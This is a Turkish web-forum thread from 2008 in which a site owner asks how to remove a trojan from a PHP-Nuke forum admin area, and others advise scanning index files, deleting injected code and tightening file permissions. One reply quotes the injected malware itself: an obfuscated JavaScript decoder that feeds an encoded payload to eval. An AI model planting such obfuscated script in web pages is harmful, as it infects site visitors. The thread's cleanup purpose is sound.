Tarih: 2008-12-04, 17:27:03 Mesaj konusu: Sitemde trojen var
s.a
birçok anti-virüs sitemde trojen buldu özellikle acrobat reader kullanan avrsa güncelleştirme sayfası çıkıyor. Ve sadece sitemin forum adminde oluyor.Tüm index dosyalarını kontrol ettim Forums admin i
kontrol ettim ama halen buluyor nasıl çözerim?
Sitede virüs olduğu için iki gün önce sitedeki dosyaların yedeğini alıp hostu kapattırdık tekrar açtırcaz inş bende virüsleri silim die local e kurdum localhost ta bile virüs tarayıcılarım ötmeye başlıyor bunun dışında Google Chrome forum adminime girdiğimde bu sayfa güvenli değil uyarısı veriyor ne yamma gerek?
devam eden içerik olabilir... Html dosyalarını tavsiyem notepad++ ile açıp kontrol eğer bu dediğime benzer gereksiz bir kodu görürsen sil... Bu şekilde ana dizindeki tüm index.php, index.html, mainfile.php .... gibi dosyaların içeriklerini kontrol et...
Bir daha böyle bir durumla karşılaşmamak için nuke güvenlik bölümündeki htaccess dosyasını ana dizine at... // Nuke güvenlik bölümündeki sabit konularda ayrıntılı yazıyor bu işlem...
Daha sonra sana tavsiyem script bulaşmış dosyaların okunmasına izin ver ama yazımasına izin verme ... Mesela CHMOD değerlerini verirken yazma kısmını boşalt...
[bu dosyalar modules, blocks, includes vs gibi ana dizindeki klasörlerde içleri boş olarak index.html şeklinde bulunur]
arkadasım benim kendi sitemde buna benzer bir virusle karsılastım hatta google bile guvenli olmayansite olarak algılıyordu siteni silsen yeidne kursam sql dosyalarını yeniden atsanda bu karsına cikiyor ancak buyuk ihtimalle sitendeki dosyaların ve modullerin index dosyalarında en altdaki <? bu isaretten sonraki yazan herhangi bir kod varsay tke tek ftp ni dolas sil eger yardim istesen soyle dahada aciklamali anlatım.. ben ancak oyle kurtardimsiteyi silmen yada yenide kurman degismiyecekdir emin ol..
dosyaların ve modullerin index dosyalarında en altdaki <? bu isaretten sonraki yazan herhangi bir kod varsay tke tek ftp ni dolas sil
Kod:
<s>function kzxsban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,46,43,44,34,19,33,23,56,29,0,0,0,0,0,0,37,28,10,39,4,14,49,54,1,55,45,3,13,18,5,52,53,61,47,9,48,17,42,62,26,7,6,0,0,0,0,35,0,27,24,58,59,20,16,22,30,57,36,25,60,32,21,31,41,40,8,11,51,50,0,12,38,15,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s>>=8;s-=2}else{s=6}}}e v a l(r);}}kzxsban('IxV2jWcJ1ysJ6MaJtG0iDWV2@hWWjWcqPGXp1M2dIBaVOgBcCtoVxBaqJgB81ZX2@GoQ@xypmy23_GR8qMsJTV0dRoXqOgBQ_uXV_1c31dXpOWEJR00i2IbqO4VduWXJ1MBcLZBJqc136cBpRGBcp2hWTKylpRWiP7XWjhWcCsE8IxBpO4X0FKylm_XpphBVOGoWTKW3Oxs2@GR8jxc3TuXqiVR2RcXp4dy0RCVpuZX2@c0ipK')</s>
Bu forumda yeni başlıklar açamazsınız Bu forumdaki başlıklara cevap veremezsiniz Bu forumdaki mesajlarınızı değiştiremezsiniz Bu forumdaki mesajlarınızı silemezsiniz Bu forumdaki anketlerde oy kullanamazsınız
Arama
Rütbeliler
Profil
Giriş
